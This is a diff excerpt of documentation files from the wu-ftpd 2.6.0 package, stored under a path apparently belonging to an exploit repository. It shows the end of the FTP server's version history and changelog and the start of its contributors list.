| 2299 | o ftpcmd.y: [Debian -- "bison" patch for linux just moved some decls | ||
| 2300 | around] | ||
| 2301 | |||
| 2302 | o ftpcmd.y: check PORT command against a bunch of things: being logged | ||
| 2303 | in, the client's source address, and the actual port number 1024 or | ||
| 2304 | greater. | ||
| 2305 | |||
| 2306 | o ftpcmd.y: require login before various other things work: PASV, RNTO | ||
| 2307 | |||
| 2308 | o ftpcmd.y: #ifdef PARANOID -- disable, trap, and log all SITE commands. | ||
| 2309 | Comments withheld about the lineage of whoever cooked up *that* gem. | ||
| 2310 | |||
| 2311 | o ftpd.c: [Debian -- support "noretrieve" ACL keyword; misc NULL fixups] | ||
| 2312 | |||
| 2313 | o ftpd.c: preload assorted variables with reasonable values. Globalize | ||
| 2314 | guestpw and authuser and update them so all routines can access them | ||
| 2315 | for correct logging. | ||
| 2316 | |||
| 2317 | o ftpd.c: disallow "re-login". | ||
| 2318 | |||
| 2319 | o ftpd.c: #ifdef ANON_ONLY -- only allow anonymous logins. Designed for | ||
| 2320 | the ftpd you hang out on your external machine. | ||
| 2321 | |||
| 2322 | o ftpd.c: various places -- if told not to use the "ftpaccess" file, | ||
| 2323 | genuinely don't use routines that deal with it at all. [May save some | ||
| 2324 | of our butts when someone finds a bug in the extensions code!] | ||
| 2325 | |||
| 2326 | o ftpd.c: #ifdef SKEY, added s/key functionality. The challenge emerges | ||
| 2327 | where the "Password required for username" response is normally sent. | ||
| 2328 | |||
| 2329 | o ftpd.c: add endspent() to the shadow code, per Marek M. | ||
| 2330 | |||
| 2331 | o ftpd.c: Flag attempts to exploit the trojanized 2.2c version. | ||
| 2332 | |||
| 2333 | o ftpd.c: #ifdef STUPID_SPRINTF -- break up big "sprintf" for xferlog | ||
| 2334 | into two pieces. On some systems, sprintf is BROKEN. If you're using | ||
| 2335 | xferlog and your ftpd crashes right after a transfer, you probably need | ||
| 2336 | this. | ||
| 2337 | |||
| 2338 | o ftpd.c: #ifdef PARANOID, disable file overwriting, with either "put" or | ||
| 2339 | "rename". | ||
| 2340 | |||
| 2341 | o ftpd.c: Fix an ACL bug in renamefrom(). Doing two renames in a row | ||
| 2342 | would bypass the setting in the ACL file. | ||
| 2343 | |||
| 2344 | o ftpd.c: call realpath() to get current wd. | ||
| 2345 | |||
| 2346 | o ftpd.c: close data ports upon exiting, and close old PASV port if told | ||
| 2347 | to open a new one. | ||
| 2348 | |||
| 2349 | o newvers.sh: include tiny little advertisement. | ||
| 2350 | |||
| 2351 | o makefiles/Makefile.lnx: Mostly Debian; add -static, remove -DDEBUG, put | ||
| 2352 | in the "bison fix". | ||
| 2353 | |||
| 2354 | o makefiles/Makefile.fbs: Add for FreeBSD 2.0; slight mod of "bsd". | ||
| 2355 | |||
| 2356 | o config/config.fbs: config.h for Freebsd 2.0. Contains a hack to work | ||
| 2357 | around the fact that freebsd stdlib.h comes with a realpath() and the | ||
| 2358 | define in ftpd.c conflicts with it. | ||
| 2359 | |||
| 2360 | o config/config.lnx: Debian version, with the same realpath() hack added. | ||
| 2361 | Linux has trouble with this too, but in unistd.h. Put "realpath" back | ||
| 2362 | into SRCS and OBJS definitions. | ||
| 2363 | |||
| 2364 | o pathnames.linux: From Debian. Use this as a starting point for | ||
| 2365 | customizing pathnames.h on linux. A remaining deficiency is that NONE | ||
| 2366 | of the sources even *try* to reference the /usr/include/paths.h that | ||
| 2367 | many systems now have. | ||
| 2368 | |||
| 2369 | o Version bumped to 2.4.2; no reason given but we can safely presume the | ||
| 2370 | reason was the confusion in version names in Stan's earlier releases. | ||
| 2371 | |||
| 2372 | ########################################################################### | ||
| 2373 | |||
| 2374 | Changes in 2.4.1-BETA-1: Released 13 May, 1995 | ||
| 2375 | |||
| 2376 | AKA 2.4.1-BETA | ||
| 2377 | AKA 2.4.2-BETA-1 | ||
| 2378 | |||
| 2379 | This version was announced and released as wu-ftpd-2.4.1-beta-1.tar, but | ||
| 2380 | other emails, and internal notes in later versions, refer to this version | ||
| 2381 | under all three names interchangably. | ||
| 2382 | |||
| 2383 | If you have an original copy of 2.4.1-BETA-1, the WU-FTPD Development | ||
| 2384 | Group would like a copy. | ||
| 2385 | |||
| 2386 | o Added changes for Solaris 2.4 compatibility. Changed the flag from | ||
| 2387 | SOLARIS21 to SOLARIS and made the changes generic for all releases of | ||
| 2388 | Solaris. | ||
| 2389 | |||
| 2390 | o Added changes for UnixWare 4.2 compatibility. Added Makefiles and config.h | ||
| 2391 | header files. | ||
| 2392 | |||
| 2393 | o Added ftruncate support routine for machines that don't have ftruncate, but | ||
| 2394 | do have chsize call. | ||
| 2395 | |||
| 2396 | o Added a timeout patch created by Dan Thorson at Seagate to keep the server | ||
| 2397 | from creating a zombie process when a PASV client never actually connects. | ||
| 2398 | NOTE: This patch is commented out since I could not get it to work | ||
| 2399 | correctly and I hope someone will be able to fix this before we go to | ||
| 2400 | release. There was also another timeout patch that may be more suitable. | ||
| 2401 | Comments are welcome. | ||
| 2402 | |||
| 2403 | o Added patches to hostacc.c to insure that memory dynamically allocated with | ||
| 2404 | malloc() is not free()d more than once. Patch from Jaakko Hyvatti. | ||
| 2405 | |||
| 2406 | o Split the support/strcasestr.c into two files: strcaststr.c and strstr.c | ||
| 2407 | and altered the Makefiles to include the appropriate libraries in the | ||
| 2408 | support library. | ||
| 2409 | |||
| 2410 | o Stan Barber took over stewardship of the daemon using 2.4-academ as the | ||
| 2411 | baseline for future development on 6 May, 1995. This ended a 13-month | ||
| 2412 | period where there was no maintainer at all! | ||
| 2413 | |||
| 2414 | ########################################################################### | ||
| 2415 | |||
| 2416 | Changes in 2.4-academ: Release date lost in the mists of time | ||
| 2417 | |||
| 2418 | AKA 2.4.1-academ | ||
| 2419 | |||
| 2420 | It is unknown whether Stan ever publicly released this version under | ||
| 2421 | either name. Emails, and internal notes in later versions, refer to | ||
| 2422 | this version under both names interchangably. | ||
| 2423 | |||
| 2424 | If you have an original copy of 2.4-academ, or 2.4.1-academ, the WU-FTPD | ||
| 2425 | Development Group would like a copy. | ||
| 2426 | |||
| 2427 | o Ported to BSDi. | ||
| 2428 | |||
| 2429 | o Changed the fnmatch.c program in the support directory to return values | ||
| 2430 | that corresponded with the manual page. This was not necessary to | ||
| 2431 | support BSDi since it has its own fnmatch, but this make it possible | ||
| 2432 | for other platforms to make use of these changes transparently. | ||
| 2433 | |||
| 2434 | o Changed the access.c program to do a case-insensitive search on the | ||
| 2435 | hostname without using fnmatch. This option is not supported by the | ||
| 2436 | bsdi or bsd-net2 fnmatch subroutine. | ||
| 2437 | |||
| 2438 | o Changed all uses of fnmatch in the src directory to use the correct | ||
| 2439 | return values. | ||
| 2440 | |||
| 2441 | o Added pathnames appropriate to bsdi to the pathnames.h file in the src | ||
| 2442 | directory. These are bracketed by appropriate #ifdef/#endif blocks. | ||
| 2443 | |||
| 2444 | o Changed the root level makefile to copy files when installing them | ||
| 2445 | instead of moving them. | ||
| 2446 | |||
| 2447 | o Created a set of root level makefiles for each supported platform. This | ||
| 2448 | will allow the ftpd to be installed exactly over the OS-based makefile | ||
| 2449 | if used generically. | ||
| 2450 | |||
| 2451 | ########################################################################### | ||
| 2452 | |||
| 2453 | Changes in 2.4: Rereleased on 6 January, 1997 | ||
| 2454 | |||
| 2455 | o Documentation update to point to the new address for the list server at | ||
| 2456 | Washington University at Saint Louis. | ||
| 2457 | |||
| 2458 | o Corrected documentation error: this is version 2.4 not 2.2 | ||
| 2459 | |||
| 2460 | o Prevent reception of SIGURG from resulting in a resumption back to the | ||
| 2461 | main program loop. | ||
| 2462 | |||
| 2463 | ########################################################################### | ||
| 2464 | |||
| 2465 | Changes in 2.4: Rereleased on 13 November, 1995 | ||
| 2466 | |||
| 2467 | o Documentation update to point toward Stan Barber as the maintainer of | ||
| 2468 | WU-FTPD. | ||
| 2469 | |||
| 2470 | ########################################################################### | ||
| 2471 | |||
| 2472 | Changes in 2.4: Released on 13 April, 1994 | ||
| 2473 | |||
| 2474 | o This marks the end of Byran D O'Connor's tenure as prinicple developer. | ||
| 2475 | With his graduation, grants funding development were not renewed. | ||
| 2476 | |||
| 2477 | o Removed some race conditions. | ||
| 2478 | |||
| 2479 | o Fixed a spelling mistake. | ||
| 2480 | |||
| 2481 | o Now uses sys/syslog.h on Ultrix systems. | ||
| 2482 | |||
| 2483 | ########################################################################### | ||
| 2484 | |||
| 2485 | Changes in 2.3: Released on 4 April, 1994 | ||
| 2486 | |||
| 2487 | o Bump the version number to avoid confusing with Trojan version. | ||
| 2488 | |||
| 2489 | ########################################################################### | ||
| 2490 | |||
| 2491 | Changes in 2.2: Released on 1 April, 1994 | ||
| 2492 | |||
| 2493 | o Fixed a bug in path processing of SITE EXEC commands. | ||
| 2494 | |||
| 2495 | o Rewrote parts of private.c parsing routine, fixing problems with | ||
| 2496 | overloading the definition of gid_t. | ||
| 2497 | |||
| 2498 | o Added support for class lists in separate file. | ||
| 2499 | |||
| 2500 | o Changed a couple of occurrences of stat() to lstat() in delete() and | ||
| 2501 | renamefrom(). | ||
| 2502 | |||
| 2503 | o Changed #ifdef LOG_LOCAL7 to #ifdef FACILITY in ftpd.c | ||
| 2504 | |||
| 2505 | ########################################################################### | ||
| 2506 | |||
| 2507 | Changes in 2.1f: Released 25 March, 1994 | ||
| 2508 | |||
| 2509 | o Fixed NeXT config problem with NGROUPS_MAX. | ||
| 2510 | |||
| 2511 | o Fixed multiple response bug with ftp|anonymous in /etc/ftpusers file. | ||
| 2512 | |||
| 2513 | o Fixed BUS ERROR on upload on Sun 4.1.x systems. | ||
| 2514 | |||
| 2515 | ########################################################################### | ||
| 2516 | |||
| 2517 | Changes in 2.1e: Released 24 March, 1994 | ||
| 2518 | |||
| 2519 | o Fixed class determination code from failing after failed attempt. | ||
| 2520 | |||
| 2521 | o Moved ACCESS DENIED syslog messages to LOG_NOTICE from LOG_INFO. | ||
| 2522 | |||
| 2523 | o Fixed problems with NFS and server running as root. | ||
| 2524 | |||
| 2525 | o Fixed problems with APPEND/OVERWRITE. | ||
| 2526 | |||
| 2527 | o Patched SCO files to work with 3.2.4. | ||
| 2528 | |||
| 2529 | o Fixed problems with uid/gid's. | ||
| 2530 | |||
| 2531 | o Changed upload examples in ftpaccess.5 to be correct. | ||
| 2532 | |||
| 2533 | o Allow for escaped #s in the ftpaccess file. | ||
| 2534 | |||
| 2535 | o hostacc.c patches. | ||
| 2536 | |||
| 2537 | o ftpshut.c: fixed file open problem when shutdown not defined. | ||
| 2538 | |||
| 2539 | o Added acl_remove() to fix problems with dangling PIDs in PID files. | ||
| 2540 | |||
| 2541 | o Fixed bug with real users > limit hanging clients. | ||
| 2542 | |||
| 2543 | ########################################################################### | ||
| 2544 | |||
| 2545 | Changes in 2.1d: Release date lost in the mists of time. | ||
| 2546 | |||
| 2547 | If you have an original copy of 2.1d, the WU-FTPD Development Group | ||
| 2548 | would like a copy. | ||
| 2549 | |||
| 2550 | o The changes for 2.1d were lost. | ||
| 2551 | |||
| 2552 | ########################################################################### | ||
| 2553 | |||
| 2554 | Changes in 2.1c: Released on 25 August, 1993 | ||
| 2555 | |||
| 2556 | o Fixed stupid bug with non-initialized pointers in *_check() functions. | ||
| 2557 | |||
| 2558 | ########################################################################### | ||
| 2559 | |||
| 2560 | Changes in 2.1b: Released on 16 July, 1993 | ||
| 2561 | |||
| 2562 | o Append now works again. A previous fix to solved files not getting | ||
| 2563 | truncated properly had broken it. | ||
| 2564 | |||
| 2565 | o Double conversions were not working properly for some conversions. | ||
| 2566 | |||
| 2567 | o Minor HP-UX portability problems corrected. | ||
| 2568 | |||
| 2569 | o Minor Host Access case sensitivity bug fixed. | ||
| 2570 | |||
| 2571 | o syslog after chroot fixed for SunOS by addition of TCP version of | ||
| 2572 | syslog functions. (It is syslog.c in the support directory.) | ||
| 2573 | |||
| 2574 | o Data General support added. | ||
| 2575 | |||
| 2576 | o ISC support added. | ||
| 2577 | |||
| 2578 | o Added "rename <type> <yes|no>" option to prevent renaming files. | ||
| 2579 | |||
| 2580 | o Fixed unsigned int comparisons to -1. | ||
| 2581 | |||
| 2582 | o Added ckconfig program for checking proper locations of config files. | ||
| 2583 | |||
| 2584 | o Changed syntax of "upload" command to include which ftp hierarchy it | ||
| 2585 | pertains. | ||
| 2586 | |||
| 2587 | o Fixed some documentation errors. | ||
| 2588 | |||
| 2589 | ########################################################################### | ||
| 2590 | |||
| 2591 | Changes in 2.1a: Released on 27 May, 1993 | ||
| 2592 | |||
| 2593 | o Tabs were put back into the Makefiles for AIX. | ||
| 2594 | |||
| 2595 | o acl_join() did not open the pid file is pidfd was invalid. | ||
| 2596 | |||
| 2597 | o acl_join() did not unlock the pid file if user was already in there. | ||
| 2598 | |||
| 2599 | ########################################################################### | ||
| 2600 | |||
| 2601 | Changes in 2.1: Released on 12 May, 1993 | ||
| 2602 | |||
| 2603 | o Replaced xferstats. | ||
| 2604 | |||
| 2605 | o Default was to not allow uploads ever. This is backwards, if no upload | ||
| 2606 | keywords are given, it should act like a normal server. | ||
| 2607 | |||
| 2608 | o Double conversion stuff works now, but you know that already. Included | ||
| 2609 | is a gzip2comp (in util) for converting from gzip format to compress. | ||
| 2610 | |||
| 2611 | o cwd_beenhere() now calls realpath(".", cwd) to figure out the path. | ||
| 2612 | This works for people in directories that are private. That is that | ||
| 2613 | some component of their path is not readable by them. (cwdir() fails | ||
| 2614 | in such a case.) | ||
| 2615 | |||
| 2616 | o In an upload command, trying to set a file mode of 0000 would fail. | ||
| 2617 | This is now possible. | ||
| 2618 | |||
| 2619 | o makedir() did not work properly for real users. This has also been | ||
| 2620 | fixed. | ||
| 2621 | |||
| 2622 | o Fixed up support for NeXT and other systems. I cannot test these | ||
| 2623 | things, so there are bound to be problems. | ||
| 2624 | |||
| 2625 | o In getgrent.c, removed the need for getgrent.c from the support | ||
| 2626 | library. This caused problems with systems running yellow pages (NIS). | ||
| 2627 | All gids in the private file are now parsed before the chroot(). This | ||
| 2628 | gives us one less open file descriptor. | ||
| 2629 | |||
| 2630 | o For upload/truncate, STORE was not properly trunctating files when | ||
| 2631 | overwriting them. | ||
| 2632 | |||
| 2633 | o Upload failing with directories in makedir/put commands: STORE and | ||
| 2634 | MAKEDIR were failing when giving full path names. | ||
| 2635 | |||
| 2636 | o Multiple process ids were written into the pid-files when a failed | ||
| 2637 | login attempt was made. This caused problems with usage counts. | ||
| 2638 | |||
| 2639 | o Added the %E magic cookie which gets replaced with the "email" string | ||
| 2640 | from the ftpaccess file. | ||
| 2641 | |||
| 2642 | o For the %F magic cookie: added trivial support for Solaris 2.1 (at | ||
| 2643 | least). If you fix this for your system, send me a patch. | ||
| 2644 | |||
| 2645 | o The %N magic cookie did not work after the chroot(). The pid file has | ||
| 2646 | to remain open for the duration of the server's life now in order for | ||
| 2647 | this to work. | ||
| 2648 | |||
| 2649 | o In support/paths.h, removed the need for this file. It caused more | ||
| 2650 | problems than it was worth. The two #defines that were used were moved | ||
| 2651 | to src/pathnames.h | ||
| 2652 | |||
| 2653 | o upload * no dirs: you can now specify a directory that does not allow | ||
| 2654 | uploads but does allow the creation of directories. | ||
| 2655 | |||
| 2656 | o You can now get a listing of what aliases are available. At the ftp | ||
| 2657 | prompt type "quote site alias". | ||
| 2658 | |||
| 2659 | o You can now specify a cdpath (like the csh variable). | ||
| 2660 | |||
| 2661 | o You can specify an email address for the maintainer of the archive. | ||
| 2662 | This string will be used for the %E magic cookie. | ||
| 2663 | |||
| 2664 | ########################################################################### | ||
| 2665 | |||
| 2666 | Changes in 2.0: Rereleased on 12 April, 1993 | ||
| 2667 | |||
| 2668 | o Changed support/ftp.h to use the BSD copyright and remove the DEC | ||
| 2669 | copyright. DEC's version was just a copy of BSD's. | ||
| 2670 | |||
| 2671 | ########################################################################### | ||
| 2672 | |||
| 2673 | Changes in 2.0: Released on 8 April, 1993 | ||
| 2674 | |||
| 2675 | o guestgroup access no longer needs an entry in the secondary passwd file | ||
| 2676 | (~ftp/etc/passwd). The home directory is now specified as | ||
| 2677 | "root/./home" For example: | ||
| 2678 | |||
| 2679 | ftptest:<encrypted>:100:200:Guest User:/var/ftp/./incoming:/etc/noshell | ||
| 2680 | |||
| 2681 | When ftptest logs in, it will chroot to /var/ftp and then chdir to | ||
| 2682 | /incoming (which is actually /var/ftp/incoming before the chroot). | ||
| 2683 | |||
| 2684 | Since the directory in /etc/passwd actually points to the guest's home | ||
| 2685 | directory, they can use .forward files, etc. | ||
| 2686 | |||
| 2687 | o ftpshut program generates shutdown file for ftp server. Works | ||
| 2688 | similarly to shutdown(8). See ftpshut(8). | ||
| 2689 | |||
| 2690 | o The conversion table has been moved to a separate file. The fields | ||
| 2691 | are: | ||
| 2692 | |||
| 2693 | %s:%s:%s:%s:%s:%s:%s:%s | ||
| 2694 | |||
| 2695 | Field Description | ||
| 2696 | 1 strip prefix | ||
| 2697 | 2 strip postfix | ||
| 2698 | 3 addon prefix | ||
| 2699 | 4 addon postfix | ||
| 2700 | 5 external command | ||
| 2701 | 6 types | ||
| 2702 | 7 options | ||
| 2703 | 8 description | ||
| 2704 | |||
| 2705 | o Added following abilites configurable in the ftpaccess file. See | ||
| 2706 | ftpaccess(5). | ||
| 2707 | |||
| 2708 | chmod <yes|no> <typelist> | ||
| 2709 | delete <yes|no> <typelist> | ||
| 2710 | overwrite <yes|no> <typelist> | ||
| 2711 | umask <yes|no> <typelist> | ||
| 2712 | |||
| 2713 | upload <dir> <yes|no> <owner> <group> <mode> | ||
| 2714 | |||
| 2715 | passwd_check <none|trivial|rfc822> {<warn|enforce>} | ||
| 2716 | |||
| 2717 | alias <name> <dir> | ||
| 2718 | |||
| 2719 | path_filter <typelist> <msg> <charset> {<disallowed> ...} | ||
| 2720 | |||
| 2721 | o ftpcount no longer displays multiple listings for classes that have | ||
| 2722 | multiple "class ..." lines. | ||
| 2723 | |||
| 2724 | o Bryan D O'Conner took over as the principal developer for Release 2. | ||
| 2725 | This ended a 19-month period where no updates were released. At this | ||
| 2726 | time the name was also shortened from wuarchive-ftpd to wu-ftpd. | ||
| 2727 | |||
| 2728 | Bryan used BSD ftpd version 5.60 as his base, merging the changes from | ||
| 2729 | the earlier BSD ftpd Chris used. BSD ftpd version 5.60 was the version | ||
| 2730 | included in the "Final BSD Release". UUnet Technologies maintains a | ||
| 2731 | full copy of the final BSD release at ftp.uu.net. | ||
| 2732 | |||
| 2733 | ########################################################################### | ||
| 2734 | |||
| 2735 | Changes in 1.1: Released 23 September, 1991 | ||
| 2736 | |||
| 2737 | This was an interim release of wuarchive's modified FTP server. It is | ||
| 2738 | believed to be the first public release of the daemon. | ||
| 2739 | |||
| 2740 | There are indications of attempts to track BSD versions, through BSD | ||
| 2741 | 6.14, but internal information in the releases lead me to believe these | ||
| 2742 | were local to the FTP site we found them at, and not official releases | ||
| 2743 | from Chris Myers. | ||
| 2744 | |||
| 2745 | o The changes for 1.1 were lost. Most likely they were to merge the | ||
| 2746 | changes from the BSD version he first used (probably 5.59) and 5.60, | ||
| 2747 | or they were minor bug fixes which Chris felt no need to discuss since | ||
| 2748 | 1.0 had not been publicly released. | ||
| 2749 | |||
| 2750 | ########################################################################### | ||
| 2751 | |||
| 2752 | Changes in 1.0: Believed not to have been publicly released. | ||
| 2753 | |||
| 2754 | This is believed to have not been publicly released, but was the | ||
| 2755 | original version used to implement wuarchive.wustl.edu; the success of | ||
| 2756 | this version appears to have prompted the public release of version | ||
| 2757 | 1.1 after some minor corrections. | ||
| 2758 | |||
| 2759 | If you have an original copy of 1.0, the WU-FTPD Development Group | ||
| 2760 | would like a copy. Probable release dates are between 3 December, | ||
| 2761 | 1990, and 23 September, 1991. | ||
| 2762 | |||
| 2763 | o Some older clients cannot handle multi-line replies. These can be | ||
| 2764 | disabled on a per-connection basis by using a dash (-) as the first | ||
| 2765 | character of the user's password. | ||
| 2766 | |||
| 2767 | o Added ftpaccess control file. The following commands are available: | ||
| 2768 | |||
| 2769 | limit <class> <n> <times> <message_file> | ||
| 2770 | class <class> <typelist> <addrglob>{ <addrglob>}{ <addrglob>}{ <addrglob>} | ||
| 2771 | deny <addrglob> <message_file> | ||
| 2772 | loginfails <number> | ||
| 2773 | log transfers <typelist> <directions> | ||
| 2774 | log commands <typelist> | ||
| 2775 | readme <path> {<when>} | ||
| 2776 | message <path> {<when>} | ||
| 2777 | banner <path> | ||
| 2778 | private <path> | ||
| 2779 | guestgroup <groupname> [<groupname> ...] | ||
| 2780 | autogroup <groupname> <class> [<class> ...] | ||
| 2781 | compress <yes|no> <classglob> [<classglob> ...] | ||
| 2782 | tar <yes|no> <classglob> [<classglob> ...] | ||
| 2783 | shutdown <path> | ||
| 2784 | |||
| 2785 | Refer to the CHANGES file in the release for a full description of | ||
| 2786 | these new features. | ||
| 2787 | |||
| 2788 | o Added the following command-line options: | ||
| 2789 | |||
| 2790 | -a Enable use of ftpaccess file (access file MUST exist if used) | ||
| 2791 | -A Disable use of ftpaccess file | ||
| 2792 | -L Turn on command logging (See note. Overridden by ftpaccess, if used) | ||
| 2793 | -i Turn on file reception logging (overridden by ftpaccess, if used) | ||
| 2794 | -o Turn on file transmission logging (overridden by ftpaccess, if used) | ||
| 2795 | |||
| 2796 | NOTE: If the -L flag is used, command logging will be on by default as | ||
| 2797 | soon as the ftp server is invoked. This will cause the server to log | ||
| 2798 | all USER commands, which if a user accidentally enters a password for | ||
| 2799 | that command instead of the username, will cause passwords to be logged | ||
| 2800 | via syslog. | ||
| 2801 | |||
| 2802 | The -L flag is overridden by the ftpaccess file, if it is used -- | ||
| 2803 | command logging options in the ftpaccess file take effect IMMEDIATELY | ||
| 2804 | upon entry of the USER command (before logging takes place). | ||
| 2805 | |||
| 2806 | o There are some extensions to the FTP server such that if the user | ||
| 2807 | specifies a filename (when using a RETRIEVE command) such that: | ||
| 2808 | |||
| 2809 | True Filename Specified Filename Action | ||
| 2810 | ------------------ -------------------- --------------------------------------- | ||
| 2811 | <filename>.Z <filename> Decompress file before transmitting | ||
| 2812 | <filename> <filename>.Z Compress <filename> before transmitting | ||
| 2813 | <filename> <filename>.tar Tar <filename> before transmitting | ||
| 2814 | <filename> <filename>.tar.Z Tar and compress <filename> before transmitting | ||
| 2815 | |||
| 2816 | o The FTP server will attempt to check for valid e-mail addresses and | ||
| 2817 | chide the user if he doesn't pass the test. For users whose FTP client | ||
| 2818 | will hang on "long replies" (i.e. multiline responses), using a dash as | ||
| 2819 | the first character of the password will disable the server's lreply() | ||
| 2820 | function. | ||
| 2821 | |||
| 2822 | o The FTP server can also log all file transmission and reception, | ||
| 2823 | keeping the following information for each file transmission that takes | ||
| 2824 | place. | ||
| 2825 | |||
| 2826 | Mon Dec 3 18:52:41 1990 1 wuarchive.wustl.edu 568881 /files.lst.Z a _ o a chris@wugate.wustl.edu ftp 0 * | ||
| 2827 | |||
| 2828 | %.24s %d %s %d %s %c %s %c %c %s %s %d %s | ||
| 2829 | 1 2 3 4 5 6 7 8 9 10 11 12 13 | ||
| 2830 | |||
| 2831 | 1 current time in the form DDD MMM dd hh:mm:ss YYYY | ||
| 2832 | 2 transfer time in seconds | ||
| 2833 | 3 remote host name | ||
| 2834 | 4 file size in bytes | ||
| 2835 | 5 name of file | ||
| 2836 | 6 transfer type (a>scii, b>inary) | ||
| 2837 | 7 special action flags (concatenated as needed): | ||
| 2838 | C file was compressed | ||
| 2839 | U file was uncompressed | ||
| 2840 | T file was tar'ed | ||
| 2841 | _ no action taken | ||
| 2842 | 8 file was sent to user (o>utgoing) or received from user (i>ncoming) | ||
| 2843 | 9 accessed anonymously (r>eal, a>nonymous) -- mostly for FTP | ||
| 2844 | 10 local username or, if guest, ID string given (anonymous FTP password) | ||
| 2845 | 11 service name ('ftp', other) | ||
| 2846 | 12 authentication method (bitmask) | ||
| 2847 | 0 none | ||
| 2848 | 1 RFC931 Authentication | ||
| 2849 | 13 authenticated user id (if available, '*' otherwise) | ||
| 2850 | |||
| 2851 | o Chris Myers was the original author of wuarchive-ftpd. He based his | ||
| 2852 | work upon the University of California, Berkeley, (BSD) ftpd, most | ||
| 2853 | likely version 5.59. | ||
| 2854 | |||
| 2855 | The WU-FTPD Development Group has BSD ftpd versions 5.51 and 5.60 (both | ||
| 2856 | found at the UUnet FTP site). An analysis of these versions shows | ||
| 2857 | Chris Myers used a version somewhere between them; most likely 5.59. | ||
| 2858 | If you have an original copy of BSD ftpd between these versions, dated | ||
| 2859 | between 8 May, 1989, and 12 April, 1991, we would like to examine a | ||
| 2860 | copy. | ||
| 2861 | |||
| 2862 | ########################################################################### | ||
| 2863 | |||
| 2864 | In the beginning there was the void. | ||
| 2865 | And BSD said ... | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/CONTRIBUTORS b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/CONTRIBUTORS new file mode 100644 index 0000000..bb1f328 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/CONTRIBUTORS | |||
| @@ -0,0 +1,344 @@ | |||
| 1 | The following individuals and organizations have contributed, directly or | ||
| 2 | indirectly to the development of WU-FTPD. | ||
| 3 | |||
| 4 | While attempts were made to be as complete as possible, it is inevitable | ||
| 5 | that some contributors have been omitted. For that, please accept our | ||
| 6 | humble appologies. | ||
| 7 | |||
| 8 | Please remember, when reading through this list, that email addresses | ||
| 9 | change. Some shown below will be in excess of ten years old. It is | ||
| 10 | unlikely all the addresses shown below are deliverable. Under no | ||
| 11 | circustances should you attempt to contact these individuals. Any email | ||
| 12 | concerning the WU-FTPD daemon should be addressed to | ||
| 13 | wuftpd-questions@wu-ftpd.org. | ||
| 14 | |||
| 15 | 100326.567@CompuServe.COM | ||
| 16 | aaron@onr.com | ||
| 17 | abe@vic.cc.purdue.edu | ||
| 18 | ache@nagual.pp.ru (Andrey A. Chernov) | ||
| 19 | achurch@dragonfire.net (Andy Church) | ||
| 20 | ae@is.dal.ca | ||
| 21 | ai@vsu.ru (Andy Igoshin) | ||
| 22 | ajudge@maths.tcd.ie | ||
| 23 | alain.magloire@rcsm.ee.mcgill.ca (Alain Magloire) | ||
| 24 | alann@ihs.com (Alan Neiman) | ||
| 25 | Albert-Lunde@nwu.edu (Albert Lunde) | ||
| 26 | alden@math.ohio-state.edu | ||
| 27 | alexis@dawn.ww.net | ||
| 28 | amoss@cs.huji.ac.il | ||
| 29 | Anders.X.Thulin@telia.se | ||
| 30 | andras@is.co.za (Andras Salamon) | ||
| 31 | antonio@ifi.unizh.ch | ||
| 32 | archive-admins@uunet.uu.net (UUNET Technologies) | ||
| 33 | are@communique.no (Are Bryne) | ||
| 34 | aris@ccs.neu.edu (Aris Yannopoulos) | ||
| 35 | auscert@auscert.org.au (AUSCERT) | ||
| 36 | awyskow@uswest.com (Alan Wyskowski) | ||
| 37 | ayamura@ayamura.org (Ayamura Kikuchi) | ||
| 38 | babina@pex.net | ||
| 39 | bartm@cv.ruu.nl (Bart Muyzer) | ||
| 40 | bat@xdiv.lanl.gov | ||
| 41 | beckers@josephus.furph.com (Becki Kain) | ||
| 42 | beck@ugrad.cs.ualberta.ca (Bob Beck) | ||
| 43 | bergman@hercules.PHRI.NYU.EDU (Mark Bergman) | ||
| 44 | (Berkeley Software Design, Inc.) | ||
| 45 | bero@mandrakesoft.com (Bernhard Rosenkraenzer) | ||
| 46 | b.g.leighfield@blcmp.org.uk | ||
| 47 | bill@netagw.com (Bill Aten) | ||
| 48 | bjkramer@pluto.njcc.com (Brian Kramer) | ||
| 49 | blayne@geom.umn.edu (Blayne Puklich) | ||
| 50 | bob@ti.com (Bob Luckin) | ||
| 51 | bozy@fiona.com.cy | ||
| 52 | bret@rehost.com (Bret McDanel) | ||
| 53 | bristgt@haven.msfc.nasa.gov (Tom Brister) | ||
| 54 | brmeijer@worldonline.nl (Bas Meijer) | ||
| 55 | brown@ftms.COM (Vidiot) | ||
| 56 | bryan@fegmania.wustl.edu (Bryan D. O'Connor) | ||
| 57 | c15o@zfn.uni-bremen.de | ||
| 58 | canuck@caam.rice.edu (Mike Pearlman) | ||
| 59 | carrier@ced.berkeley.edu (Stephen P. Carrier) | ||
| 60 | cert@cert.org (CERT Coordination Center) | ||
| 61 | cfuga@colossus.rhon.itam.mx | ||
| 62 | chrisb@siggy.iceonline.com (Chris Brown) | ||
| 63 | Christer.Holgersson@UMDAC.UmU.SE (Christer Holgersson) | ||
| 64 | christos@zoulas.com (Christos Zoulas) | ||
| 65 | chris@westnet.com | ||
| 66 | chris@wugate.wustl.edu (Chris Myers) | ||
| 67 | cj10@cam.ac.uk (C.J. Jardine) | ||
| 68 | cky@bryanadams.ml.org (Chris K. Young) | ||
| 69 | claude@infobiogen.fr | ||
| 70 | cmyers@kiski.net (Chris Myers) | ||
| 71 | corrigan@ucsd.edu | ||
| 72 | cprice@molbio.unmc.edu (Chad Price) | ||
| 73 | crosser@average.org | ||
| 74 | daleg@orion.digex.net (Dale Ghent) | ||
| 75 | (Dan Thorson) | ||
| 76 | dangona@nist.gov (Steve D'Angona) | ||
| 77 | datta@cs.uwp.edu (Dave Datta) | ||
| 78 | David.Capshaw@SEMATECH.Org (David Capshaw) | ||
| 79 | davidp@cableol.net (David Pesticcio) | ||
| 80 | dbaker@jeep.ops.neosoft.com (Daniel Baker) | ||
| 81 | Debbie.Pomerance@mail.house.gov (Debbie Pomerance) | ||
| 82 | dewitt@williams.edu (DeWitt Clinton) | ||
| 83 | dg@root.com | ||
| 84 | dg@ulysium.net | ||
| 85 | distler@golem.ph.utexas.edu (Jacques Distler) | ||
| 86 | dlq@mail.RATH.PeachNet.EDU (David Quarterman) | ||
